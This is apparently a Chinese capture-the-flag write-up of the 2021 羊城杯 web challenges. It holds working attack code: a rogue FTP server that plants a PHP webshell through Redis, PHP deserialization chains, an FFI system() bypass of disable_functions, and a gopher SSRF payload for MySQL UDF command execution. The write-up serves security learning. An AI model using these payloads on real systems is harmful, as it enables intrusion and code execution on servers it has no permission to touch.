文章目录

写在前面

这次拿了第一还是比较开心的,一晚上没睡觉…

Web

Cross The Side

版本信息Laravel v8.26.1 (PHP v7.4.15)

[WP]2021羊城杯-Web部分_redis


目录扫描

[WP]2021羊城杯-Web部分_python_02

应该是开启了redis

[WP]2021羊城杯-Web部分_根目录_03


联系版本号,尝试debug-rce

[WP]2021羊城杯-Web部分_redis_04


既然有file_get_contents与file_put_contents,尝试ftp passivemode 成功出网了

那么就考虑我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回去时,我们将告诉它把文件发送到127.0.0.1:6379。

这样,我们就可以向目标主机本地的Redis发送一个任意的数据包,从而执行代码,造成SSRF

import socket
from urllib.parse import unquote

payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%249%0D%0Aindex.php%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 1235
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

sk2 = socket.socket()
sk2.bind((host, 1236))
sk2.listen()

count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20))
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")

print(conn.recv(20))
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")

print(conn.recv(20))
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")

print(conn.recv(20))
conn.send(b"200 \n")

print(conn.recv(20))
if count == 1:
conn.send(b"227 xx,xxxx\n")
else:
conn.send(b"227 127,0,0,1,24,235\n")

print(conn.recv(20))
if count == 1:
conn.send(b"125 \n")
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1

[WP]2021羊城杯-Web部分_sql_05


访问shell.php,没过滤直接起飞读flag就行

[WP]2021羊城杯-Web部分_sql_06

Checkin_Go

看名字就知道是golang的,进去就看到验证码,第一眼以为填写六位以后的,结果是字符串

[WP]2021羊城杯-Web部分_根目录_07

简单爆破登录

import string
import hashlib


strings = string.ascii_letters + "0123456789"

for i in strings:
for j in strings:
for k in strings:
for l in strings:
for z in strings:
for x in strings:
tmp = str(i)+str(j)+str(k)+str(l)+str(z)+str(x)
if hashlib.md5(tmp.encode()).hexdigest()[:6] == "4bf18e":
print(tmp)
exit(0)

老规矩尝试admin直接登陆,密码似乎随意不检验

[WP]2021羊城杯-Web部分_redis_08

需要绕过admin

[WP]2021羊城杯-Web部分_php_09


[WP]2021羊城杯-Web部分_redis_10

之后又发现了,session的key是伪随机数。没有设置随机数种子。是系统固定的。

[WP]2021羊城杯-Web部分_python_11


[WP]2021羊城杯-Web部分_python_12

每次运行都是这个猜测考点是session伪造了,使用https://github.com/EddieIvan01/secure-cookie-faker 把伪造session即可

[WP]2021羊城杯-Web部分_php_13

解码得到结构

[WP]2021羊城杯-Web部分_php_14

设置密钥加密

[WP]2021羊城杯-Web部分_python_15

成功得到admin

[WP]2021羊城杯-Web部分_php_16


[WP]2021羊城杯-Web部分_根目录_17

因为money和价格都做了签名操作,不知道secret。所以不能直接改。这里可以整数溢出price到0,就可以购买flag了。加价格 0xffffffff-price+1.

[WP]2021羊城杯-Web部分_根目录_18


[WP]2021羊城杯-Web部分_redis_19

成功得到flag

[WP]2021羊城杯-Web部分_根目录_20

Only 4 (非预期解法)

发现 secret.php读一读,

[WP]2021羊城杯-Web部分_sql_21


尝试一下6和8有,

[WP]2021羊城杯-Web部分_根目录_22


8是日志,这不直接一把梭

[WP]2021羊城杯-Web部分_python_23

日志包含,出了phpinfo

[WP]2021羊城杯-Web部分_根目录_24


尝试​​readfile(/flag)​​拿到flag

[WP]2021羊城杯-Web部分_根目录_25

Only 4 (预期解法)

扫一扫有惊喜,还好字典强大,之前自己补充过一点

[WP]2021羊城杯-Web部分_php_26


读一下php://filter/convert.base64-encode/resource=serialize.php

<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{


public function get_flag()
{

echo highlight_file('secret.php');
}
}


?>

啊这,套娃都能套,先构造反序列化链子

<?php
class start_gg
{
public $mod1;
// public $mod2;
public function __construct(){
$this->mod1 = new Call();
}

}
class Call
{
public $mod1;
// public $mod2;
public function __construct(){
$this->mod1 = new funct();
}

}
class funct
{
public $mod1;
// public $mod2;
public function __construct(){
$this->mod1 = new func();
}


}
class func
{
public $mod1;
// public $mod2;
public function __construct(){
$this->mod1 = new string1();
}

}
class string1
{
public $str1;
// public $str2;
public function __construct(){
$this->str1 = new GetFlag();
}

}
class GetFlag
{


public function get_flag()
{

// echo "213221321";
}
}

echo serialize(new start_gg());


?>

接下来看绕过的部分
过滤的逻辑是

$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}

简简单单自己测试

[WP]2021羊城杯-Web部分_sql_27


百度上搜一搜

[WP]2021羊城杯-Web部分_redis_28


绕过也很容易多加个/即可

[WP]2021羊城杯-Web部分_根目录_29


四字符rce而已

[WP]2021羊城杯-Web部分_python_30


看看当前目录最前面是i开头

[WP]2021羊城杯-Web部分_redis_31


写一个cat进去

[WP]2021羊城杯-Web部分_python_32


直接读就行了简单的

[WP]2021羊城杯-Web部分_php_33

NO SQL

先是进行了一系列的黑盒测试后发现requestsreset这里存在注入

发现可以用正则匹配,发现User长度是7

[WP]2021羊城杯-Web部分_根目录_34


通过爆破读到Username是Sangfor,猜测考点可能是登陆

[WP]2021羊城杯-Web部分_python_35


突然发现有一个backup.zip,唉之前咋没读到呢,配合​​$func​​​读,现在已经有了用户名Sangfor就不必再查了,获取token即可方便改密码为​​nosqlbaibai2333​

[WP]2021羊城杯-Web部分_php_36


同样的方式,可以看见这里成功获得了token

[WP]2021羊城杯-Web部分_redis_37


接下来配合resetpasswd,可以看见这里token校验通过就可以改密码

[WP]2021羊城杯-Web部分_根目录_38


修改密码后,后台登陆成功

[WP]2021羊城杯-Web部分_根目录_39


发现了什么说在GPG_KEYS里面

[WP]2021羊城杯-Web部分_python_40


但是这里啥都没有

[WP]2021羊城杯-Web部分_python_41


发现有一个finder功能,

[WP]2021羊城杯-Web部分_sql_42


可以随意修改文件

[WP]2021羊城杯-Web部分_python_43


简简单单搞个一句话木马看看,拿到GPG_KEYS并不是flag被骗了

[WP]2021羊城杯-Web部分_根目录_44


通过蚁剑可以发现flag似乎在根目录,但是没有权限

[WP]2021羊城杯-Web部分_php_45


同时发现disable_functions禁用了很多

[WP]2021羊城杯-Web部分_sql_46


尝试UAF等无果后,并且是Apache的也不能打fastcgi之类的,之后发现FFI可以绕过

<?php
$ffi = FFI::cdef("int system (const char* command);");
echo $ffi->system($_POST[1]);
?>

没有回显那就把命令结果输出到web目录访问,测试成功bypass disable_functions

[WP]2021羊城杯-Web部分_python_47


为了方便操作直接反弹个shell

[WP]2021羊城杯-Web部分_redis_48


不能suid提权

[WP]2021羊城杯-Web部分_sql_49


简单进行信息搜集,用了各种内核洞没打通,果断弃坑了唉

[WP]2021羊城杯-Web部分_redis_50


比赛完后发现tmp目录下这个文件明显不一样,我麻了啊早点看到啊

[WP]2021羊城杯-Web部分_根目录_51


发现是目录

[WP]2021羊城杯-Web部分_sql_52


拿到了flag,有点被恶心到了

[WP]2021羊城杯-Web部分_redis_53

EasyCurl

common.php.bak得到源码,扫目录得到app文件

[WP]2021羊城杯-Web部分_redis_54


得到admin密码是R1nd0_1s_n3k0

[WP]2021羊城杯-Web部分_根目录_55


之后可以访问admin.php了

[WP]2021羊城杯-Web部分_redis_56


同时有个log文件,虽然暂时没用

[WP]2021羊城杯-Web部分_sql_57


回到上面即可,接下来简单生产一个类测试

<?php

class User
{
public $username;
private $password;


public function __construct()
{
$this->username="admin";
$this->password=md5("R1nd0_1s_n3k0");

}


}

echo urlencode(serialize(new User()));

出现了admin

[WP]2021羊城杯-Web部分_sql_58


发现没有校验很奇怪

[WP]2021羊城杯-Web部分_php_59


这里也写了log进去感觉有东西看到两个.log

[WP]2021羊城杯-Web部分_sql_60


猜测调用write_log功能

[WP]2021羊城杯-Web部分_根目录_61


经过我不断的猜测,发现可以触发toString,毕竟打印了​​username​​ 附上pop链利用脚本

<?php 
class file_request
{
public $url;
private $content;
function __construct()
{
$this->content="";
$this->url="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%22%6c%73%20%2f%22%29%3b%01%00%00%00%01";
}
}
class cache_parser
{
public $user;
public $default_handler;
function __construct($opt)
{
if($opt==1)
{
$this->user=new User(2);
$this->logger=new cache_parser(2);
}
elseif($opt==2)
{
$this->default_handler=new file_request();
}
}
}
class User
{
public $logger;
public $session_id;
function __construct($opt)
{
//toString 触发
if($opt==1)
$this->username=new cache_parser(1);
//$this->user->session_id
elseif($opt==2)
$this->session_id='fuck';
}
}


echo urlencode(serialize(new User(1)));
?>

成功读取到了各个文件,flag不在根目录不叫flag

[WP]2021羊城杯-Web部分_python_62


可以ssrf,gopherus不知道为什么直接命令行输入结果很少,总出错烦死了,肯定是gopherus生成的payload的问题,我把gopherus改了为固定输入

[WP]2021羊城杯-Web部分_sql_63


udf提权按照这篇文章

​ https://www.sqlsec.com/2020/11/mysql.html#toc-heading-15​​ 发现根目录有readflag

[WP]2021羊城杯-Web部分_sql_64


六个小时终于好了太感动了

[WP]2021羊城杯-Web部分_php_65